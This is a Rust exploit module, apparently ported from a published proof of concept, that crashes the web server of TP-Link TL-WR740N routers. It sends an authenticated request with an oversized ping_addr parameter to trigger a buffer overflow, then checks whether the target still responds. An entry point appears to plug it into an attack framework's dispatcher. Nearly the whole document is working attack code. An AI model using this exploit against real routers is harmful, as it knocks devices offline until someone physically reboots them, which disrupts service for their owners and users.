// Exploit Title: TP-Link TL-WR740N - Buffer Overflow 'DOS'
// Date: 8/12/2023
// Exploit Author: Anish Feroz (ZEROXINN)
// Vendor Homepage: http://www.tp-link.com
// Version: TP-Link TL-WR740n 3.12.11 Build 110915 Rel.40896n
// Tested on: TP-Link TL-WR740N

// Description:
// There exists a buffer overflow vulnerability in TP-Link TL-WR740 router
// that can allow an attacker to crash the web server running on the router
// by sending a crafted request. To bring back the http (webserver),
// a user must physically reboot the router.

use anyhow::Result;
use base64::{engine::general_purpose, Engine as _};
use reqwest::{Client, header::HeaderMap};
use std::io;
use tokio::net::TcpStream;
use tokio::time::{timeout, Duration};

/// Normalize IP to handle IPv6 and multiple brackets
fn normalize_ip(ip: &str) -> String {
    // Remove all surrounding brackets
    let mut ip = ip.trim_matches('[').trim_matches(']').to_string();
    // Add brackets for IPv6
    if ip.contains(':') && !ip.starts_with('[') {
        ip = format!("[{}]", ip);
    }
    ip
}

/// Internal function to send crafted request to crash router
async fn execute(ip: &str, port: u16, username: &str, password: &str) -> Result<()> {
    // Normalize the IP for correct URL formatting
    let ip = normalize_ip(ip);

    // Create a crash pattern of exact 192 characters using "crash_crash_on_a_loop_"
    let crash_pattern = "crash_crash_on_a_loop_";
    let repeated = crash_pattern.repeat(9); // 9*22 = 198 > 192
    let payload = &repeated[..192]; // truncate to exact length

    // Construct vulnerable URL
    let target_url = format!(
        "http://{ip}:{port}/userRpm/PingIframeRpm.htm?ping_addr={payload}&doType=ping&isNew=new&sendNum=4&pSize=64&overTime=800&trHops=20",
        ip = ip,
        port = port,
        payload = payload
    );

    // Build basic auth header
    let credentials = format!("{username}:{password}");
    let encoded_credentials = general_purpose::STANDARD.encode(credentials.as_bytes());

    // Prepare HTTP headers
    let mut headers = HeaderMap::new();
    headers.insert("Host", format!("{ip}:{port}", ip = ip, port = port).parse()?);
    headers.insert("Authorization", format!("Basic {}", encoded_credentials).parse()?);
    headers.insert("Upgrade-Insecure-Requests", "1".parse()?);
    headers.insert("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36".parse()?);
    headers.insert("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9".parse()?);
    headers.insert("Referer", format!("http://{ip}:{port}/userRpm/DiagnosticRpm.htm", ip = ip, port = port).parse()?);
    headers.insert("Accept-Encoding", "gzip, deflate".parse()?);
    headers.insert("Accept-Language", "en-US,en;q=0.9".parse()?);
    headers.insert("Connection", "close".parse()?);

    let client = Client::builder()
        .default_headers(headers)
        .build()?;

    let response = client.get(&target_url).send().await?;

    if response.status().as_u16() == 200 {
        println!("[+] Server Crashed (200 OK received)");
        let body = response.text().await.unwrap_or_default();
        println!("{}", body);
    } else {
        println!(
            "[-] Script Completed with status code: {}",
            response.status()
        );
    }

    // Check if the host is still up — timeout after 1 second
    match timeout(Duration::from_secs(1), TcpStream::connect((ip.trim_matches(&['[', ']'][..]), port))).await {
        Ok(Ok(_)) => {
            println!("[!] Target still responds on port {}. DoS likely failed.", port);
        }
        _ => {
            println!("[+] Target no longer reachable on port {} — likely crashed. Returning to menu.", port);
        }
    }

    Ok(())
}

/// Entry point required by auto-dispatch
pub async fn run(target: &str) -> Result<()> {
    println!("Enter router port (default is 8082): ");
    let mut port_str = String::new();
    io::stdin().read_line(&mut port_str)?;
    let port: u16 = port_str.trim().parse().unwrap_or(8082);

    println!("Enter username: ");
    let mut username = String::new();
    io::stdin().read_line(&mut username)?;
    let username = username.trim();

    println!("Enter password: ");
    let mut password = String::new();
    io::stdin().read_line(&mut password)?;
    let password = password.trim();

    execute(target, port, username, password).await
}
